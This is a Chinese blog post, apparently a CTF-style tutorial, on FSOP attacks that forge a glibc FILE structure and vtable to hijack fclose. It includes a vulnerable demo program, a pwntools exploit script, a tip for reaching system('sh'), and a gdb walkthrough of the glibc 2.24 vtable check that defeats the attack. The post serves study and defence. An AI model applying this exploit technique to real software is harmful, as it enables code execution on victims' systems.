FSOP以及glibc针对其所做的防御措施

栏目: 编程语言 · 发布时间: 6年前

内容简介:FSOP以及glibc针对其所做的防御措施

年三十晚上边看电视边搞了下 pwnable.tw 上一个FSOP的题目(春晚太无聊了,唯一一个有意思的开心麻花的小品我还错过了),

当时本地写好已经可以getshell的exp,跑远程失败了,返回本地再调试的时候居然失败了

当时我的心理活动大概是这样的

“诶,咋刚才可以现在不行了”
“这个fatal error是啥,刚才咋没有”
“我明明啥都没改啊”
“还是调一下吧”
“诶WOC这咋有个check”
“诶WOC为啥刚才能过?”

最后才发现重新返回本地跑exp的时候没有把libc切成题目给的libc(exp里一个 ./ 被我误删了),而是用的我本机的libc,而我本机的libc版本针对fsop做了个专门的check,

所以是跑不起来的

FSOP

What is FSOP

ROP是一种针对栈溢出的内存攻击技术,其全称是Return-oriented programming,即返回导向编程,这种攻击技术是针对函数的返回地址,篡改返回地址达到控制程序流的目的

FSOP这个名字出自 HITCON CTF Qual 2016 - House of Orange Write up ,

顾名思义,就是控制文件流,进而控制程序流程

FILE 结构体

一般我们对于文件是这么操作的

FILE *fp = fopen("/file/path", "w+");
fwrite("test", 1, 4, fp);
fclose(fp);

fopen() 函数接收参数,然后会在堆上申请一块内存来存放 FILE 结构体,返回一个 FILE 类型的结构体指针,供 fwritefclose 等函数使用,

现代 linux 系统下, FILE 结构体在glibc源码中的定义为 struct _IO_FILE_plus ,实际上是一个 _IO_FILE 结构体加上一个虚函数表,

这个虚函数表里有close,write,read等等函数,整个结构体大概长这样:

FSOP以及glibc针对其所做的防御措施 所以我们在执行 fclose(fp) 时,实际上执行的是 fp->close()

对于FSOP的利用,我们只需要知道虚函数表的位置就行了

POC

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>

char deadbeef[0x400];

voidpwn()
{
    puts("Hello world!");
    exit(0);
}

intmain()
{
    read(0, deadbeef, 0x400);
    fclose((FILE *)deadbeef);
    return 0;
}

编译下

gcc -m32 ./fsop.c -o ./fsop -no-pie

(GCC6默认开启PIE了)

IDA打开看下几个要用到的地址

pwn函数

.text:080484BB
.text:080484BB ; =============== S U B R O U T I N E =======================================
.text:080484BB
.text:080484BB ; Attributes: noreturn bp-based frame
.text:080484BB
.text:080484BB                 public pwn
.text:080484BB pwn             proc near
.text:080484BB                 push    ebp
.text:080484BC                 mov     ebp, esp
.text:080484BE                 push    ebx
.text:080484BF                 sub     esp, 4
.text:080484C2                 call    __x86_get_pc_thunk_bx
.text:080484C7                 add     ebx, 1B39h
.text:080484CD                 sub     esp, 0Ch
.text:080484D0                 lea     eax, (aHelloWorld - 804A000h)[ebx] ; "Hello world!"
.text:080484D6                 push    eax             ; s
.text:080484D7                 call    _puts
.text:080484DC                 add     esp, 10h
.text:080484DF                 sub     esp, 0Ch
.text:080484E2                 push    0               ; status
.text:080484E4                 call    _exit
.text:080484E4 pwn             endp

deadbeef的地址

.bss:0804A060                 public deadbeef
.bss:0804A060 ; FILE deadbeef
.bss:0804A060 deadbeef        FILE <?>                ; DATA XREF: main+22o
.bss:0804A060                                         ; main+36o
.bss:0804A0F4                 db    ? ;

写个py脚本

from pwn import *

p = process('./fsop', env = {"LD_PRELOAD" : "./libc_32.so.6"})

fake_file_addr = 0x0804A060
pwn_addr = 0x080484BB

fake_vtable = p32(pwn_addr) * 21
fake_vtable_addr = fake_file_addr + 0x50

fake_file = '\xff' * 0x4c

payload = ''
payload += fake_file
payload += p32(fake_vtable_addr)
payload += fake_vtable

p.send(payload)

p.interactive()

这个py脚本里我把伪造的虚函数表全部填成了pwn函数的地址,把 FILE 结构体的其他成员全部写成了0xff,这样就可以绕过glibc的一些检查

打下exp

root@kali:/vagrant/fsop# python fsop_exp.py
[x] Starting local process './fsop'
[+] Starting local process './fsop': Done
[*] Switching to interactive mode
Hello world!
[*] Got EOF while reading in interactive

[*] Process './fsop' stopped with exit code 0
[*] Got EOF while sending in interactive
root@kali:/vagrant/fsop#

成功执行pwn函数

其他

关于 _IO_FILE 结构体的第一个成员,我在实验的时候发现,通过 fopen 函数返回的fp,其第一个成员都是一个固定值,实际上该成员并没有规定一个具体数值,

就如同上一个exp,将其设置为0xffffffff也没有影响,所以如果目标是得到 shell 的话,完全可以将其值设为0x3b6873(字符串 'sh;\x00' ),然后控制虚函数表成员为system(),

就可以getshell了

glibc针对FSOP所做的patch

glibc 2.24中的check

在上一个exp里,我将环境变量的 LD_PRLOAD 设置为了 ./libc_32.so.6 ,这个libc是我从 pwnable.tw 扒拉下来的,运行一下发现版本是2.23,并没有针对FSOP做一个有效的防御,

现在把那个环境变量去掉,再运行一下exp

root@kali:/vagrant/fsop# python fsop_exp.py
[x] Starting local process './fsop'
[+] Starting local process './fsop': Done
[*] Switching to interactive mode
Fatal error: glibc detected an invalid stdio handle
[*] Got EOF while reading in interactive

[*] Process './fsop' stopped with exit code -6
[*] Got EOF while sending in interactive

我本机的libc版本是2.24,从这个错误信息来看,因该是glibc针对劫持 FILE 结构体虚函数表的攻击方式做了个有效的防御,我们用gdb来调试看看,

在原先脚本发送payload之前设置一个挂起,然后用gdb attach附加到进程,在fclose下个断点

gdb-peda$ b fclose
Breakpoint 1 at 0xf76544f6 (2 locations)

单步跟踪至fclose

[-------------------------------------code-------------------------------------]
   0xf76546f0 <fclose+512>:     sub    esp,0xc
   0xf76546f3 <fclose+515>:     mov    ebx,edi
   0xf76546f5 <fclose+517>:     push   esi
=> 0xf76546f6 <fclose+518>:     call   0xf7717d40 <fclose>
   0xf76546fb <fclose+523>:     add    esp,0x10
   0xf76546fe <fclose+526>:     mov    DWORD PTR [ebp-0x1c],eax
   0xf7654701 <fclose+529>:     mov    eax,DWORD PTR [ebp-0x1c]
   0xf7654704 <fclose+532>:     lea    esp,[ebp-0xc]
Guessed arguments:
arg[0]: 0x804a060 --> 0xffffffff

步入,然后再单步跟踪至 fclose+176

[----------------------------------registers-----------------------------------]
EAX: 0xffffffff
EBX: 0xf77aa000 --> 0x1b2db0
ECX: 0x8000
EDX: 0x8000
ESI: 0x804a060 --> 0xffffff7f
EDI: 0xf77aa000 --> 0x1b2db0
EBP: 0xffacc918 --> 0xffacc958 --> 0xffacc978 --> 0x0
ESP: 0xffacc8f0 --> 0x1
EIP: 0xf7717df0 (<fclose+176>:  mov    ebx,DWORD PTR [esi+0x4c])
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7717de5 <fclose+165>:     je     0xf7717e6b <fclose+299>
   0xf7717deb <fclose+171>:     nop
   0xf7717dec <fclose+172>:     lea    esi,[esi+eiz*1+0x0]
=> 0xf7717df0 <fclose+176>:     mov    ebx,DWORD PTR [esi+0x4c]
   0xf7717df3 <fclose+179>:     lea    eax,[edi-0x1d00]
   0xf7717df9 <fclose+185>:     lea    edx,[edi-0x152c]
   0xf7717dff <fclose+191>:     sub    edx,eax
   0xf7717e01 <fclose+193>:     mov    ecx,ebx

此时 esi 存放的是 FILE 结构体的地址,而 [esi+0x4c] 就是存放虚函数表地址的地方,这一步将 ebx 设置为了结构体中虚表地址

运行至 fclose+191

[----------------------------------registers-----------------------------------]
EAX: 0xf77a8300 --> 0x0                                                          
EBX: 0x804a0b0 --> 0x80484bb (<pwn>:    push   ebp)                              
ECX: 0x8000                                                                      
EDX: 0xf77a8ad4 --> 0x0                                                          
ESI: 0x804a060 --> 0xffffff7f                                                    
EDI: 0xf77aa000 --> 0x1b2db0                                                     
EBP: 0xffacc918 --> 0xffacc958 --> 0xffacc978 --> 0x0                            
ESP: 0xffacc8f0 --> 0x1                                                          
EIP: 0xf7717dff (<fclose+191>:  sub    edx,eax)                                  
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)  
[-------------------------------------code-------------------------------------] 
   0xf7717df0 <fclose+176>:     mov    ebx,DWORD PTR [esi+0x4c]                  
   0xf7717df3 <fclose+179>:     lea    eax,[edi-0x1d00]                          
   0xf7717df9 <fclose+185>:     lea    edx,[edi-0x152c]                          
=> 0xf7717dff <fclose+191>:     sub    edx,eax                                   
   0xf7717e01 <fclose+193>:     mov    ecx,ebx                                   
   0xf7717e03 <fclose+195>:     sub    ecx,eax                                   
   0xf7717e05 <fclose+197>:     cmp    edx,ecx                                   
   0xf7717e07 <fclose+199>:     jbe    0xf7717ee0 <fclose+416>

这两步完成后, eaxedx 分别被赋予了两个和 edi 寄存器相关的值,而x86下程序运行时, edi 一般都指向 libc 的数据段,

gdb-pedavmmap 查看内存映射,计算出这两个值和libc的偏移分别是 0x1b13000x1b1ad4 ,用IDA打开本机的libc,看看这两个地址都是个啥

__libc_IO_vtables:001B1300 ; ===========================================================================
__libc_IO_vtables:001B1300
__libc_IO_vtables:001B1300 ; Segment type: Pure data
__libc_IO_vtables:001B1300 ; Segment permissions: Read/Write
__libc_IO_vtables:001B1300 ; Segment alignment '32byte' can not be represented in assembly
__libc_IO_vtables:001B1300 __libc_IO_vtables segment para public 'DATA' use32
__libc_IO_vtables:001B1300                 assume cs:__libc_IO_vtables
__libc_IO_vtables:001B1300                 ;org 1B1300h
__libc_IO_vtables:001B1300 unk_1B1300      db    0                 ; DATA XREF: sub_3F940+3Bo
__libc_IO_vtables:001B1300                                         ; vfprintf+172o ...
__libc_IO_vtables:001B1301                 db    0
__libc_IO_vtables:001B1302                 db    0
__libc_IO_vtables:001B1303                 db    0
__libc_IO_vtables:001B1304                 db    0
__libc_IO_vtables:001B1305                 db    0
__libc_IO_vtables:001B1306                 db    0
__libc_IO_vtables:001B1307                 db    0
__libc_IO_vtables:001B1308                 dd offset _IO_default_finish
__libc_IO_vtables:001B130C                 dd offset sub_3F940
__libc_IO_vtables:001B1310                 dd offset sub_6BA30
__libc_IO_vtables:001B1314                 dd offset _IO_default_uflow
__libc_IO_vtables:001B1318                 dd offset _IO_default_pbackfail
__libc_IO_vtables:001B131C                 dd offset _IO_default_xsputn
__libc_IO_vtables:001B1320                 dd offset _IO_default_xsgetn
__libc_IO_vtables:001B1324                 dd offset sub_6C130
__libc_IO_vtables:001B1328                 dd offset sub_6BDD0
__libc_IO_vtables:001B132C                 dd offset sub_6BCA0
__libc_IO_vtables:001B1330                 dd offset sub_6C080
__libc_IO_vtables:001B1334                 dd offset _IO_default_doallocate
__libc_IO_vtables:001B1338                 dd offset sub_6CCC0
__libc_IO_vtables:001B133C                 dd offset sub_6CCD0
__libc_IO_vtables:001B1340                 dd offset sub_6CCA0
__libc_IO_vtables:001B1344                 dd offset sub_6C080
__libc_IO_vtables:001B1348                 dd offset sub_6CCB0


__libc_IO_vtables:001B1ABC                 dd offset sub_6CCD0
__libc_IO_vtables:001B1AC0                 dd offset sub_6CCA0
__libc_IO_vtables:001B1AC4                 dd offset sub_6C080
__libc_IO_vtables:001B1AC8                 dd offset sub_6CCB0
__libc_IO_vtables:001B1ACC                 dd offset sub_6CCE0
__libc_IO_vtables:001B1AD0                 dd offset nullsub_7
__libc_IO_vtables:001B1AD0 __libc_IO_vtables ends
__libc_IO_vtables:001B1AD0

可以看出,这两个值分别指向了libc中“默认”的IO虚函数表的起始位置,再结合后面的汇编代码

=> 0xf7717dff <fclose+191>:     sub    edx,eax                                   
   0xf7717e01 <fclose+193>:     mov    ecx,ebx                                   
   0xf7717e03 <fclose+195>:     sub    ecx,eax                                   
   0xf7717e05 <fclose+197>:     cmp    edx,ecx                                   
   0xf7717e07 <fclose+199>:     jbe    0xf7717ee0 <fclose+416>

可以确定,这段代码直接检查了当前这个 FILE 结构体所存放的虚函数表是不是落在了libc中“默认”的IO虚函数表的范围内,显然我们的exp过不了这个检查,

运行到跳转处查看下结果

[-------------------------------------code-------------------------------------]
   0xf7717e01 <fclose+193>:     mov    ecx,ebx
   0xf7717e03 <fclose+195>:     sub    ecx,eax
   0xf7717e05 <fclose+197>:     cmp    edx,ecx
=> 0xf7717e07 <fclose+199>:     jbe    0xf7717ee0 <fclose+416>
 | 0xf7717e0d <fclose+205>:     sub    esp,0x8
 | 0xf7717e10 <fclose+208>:     push   0x0
 | 0xf7717e12 <fclose+210>:     push   esi
 | 0xf7717e13 <fclose+211>:     call   DWORD PTR [ebx+0x8]
 |->   0xf7717ee0 <fclose+416>: call   0xf765ecf0
       0xf7717ee5 <fclose+421>: jmp    0xf7717e0d <fclose+205>
       0xf7717eea <fclose+426>: test   DWORD PTR [esi],0x8000
       0xf7717ef0 <fclose+432>: mov    ecx,eax
                                                                  JUMP is taken


[-------------------------------------code-------------------------------------]
   0xf7717eda <fclose+410>:     pop    ebp
   0xf7717edb <fclose+411>:     ret
   0xf7717edc <fclose+412>:     lea    esi,[esi+eiz*1+0x0]
=> 0xf7717ee0 <fclose+416>:     call   0xf765ecf0
   0xf7717ee5 <fclose+421>:     jmp    0xf7717e0d <fclose+205>
   0xf7717eea <fclose+426>:     test   DWORD PTR [esi],0x8000
   0xf7717ef0 <fclose+432>:     mov    ecx,eax
   0xf7717ef2 <fclose+434>:     jne    0xf7717f1b <fclose+475>

单步运行后,标准输出输出 "Fatal error" ,程序接收 SIGABRT 信号后终止运行

猜想

2.24版本的libc直接检查了 FILE 结构体的虚函数表,使得FSOP这种攻击方式失去了作用,但是libc中“默认”的虚函数表是处于可读写的数据段的,

如果能直接改写,是否也能起到相同的作用?不过做到这一步基本离任意内存读写也不远了,应该也犯不着这么绕


以上所述就是小编给大家介绍的《FSOP以及glibc针对其所做的防御措施》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

结网

结网

王坚 / 人民邮电出版社 / 2010-12-10 / 59.00元

本书以如何创建、发布、推广互联网产品为主线,介绍了互联网产品经理的工作内容以及应对每一部分工作所需的方法和工具。为用户创造价值是产品经理的第一要务,产品经理的工作是围绕用户及具体任务展开的,本书丰富的案例和透彻的分析道出了从发现用户到最终满足用户这一过程背后的玄机。 本书面向现在正在从事及未来将要从事互联网相关工作的创业者和产品经理,也可以作为互联网产品策划人员或相关专业学生的参考书。新版完......一起来看看 《结网》 这本书的介绍吧!

URL 编码/解码
URL 编码/解码

URL 编码/解码

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试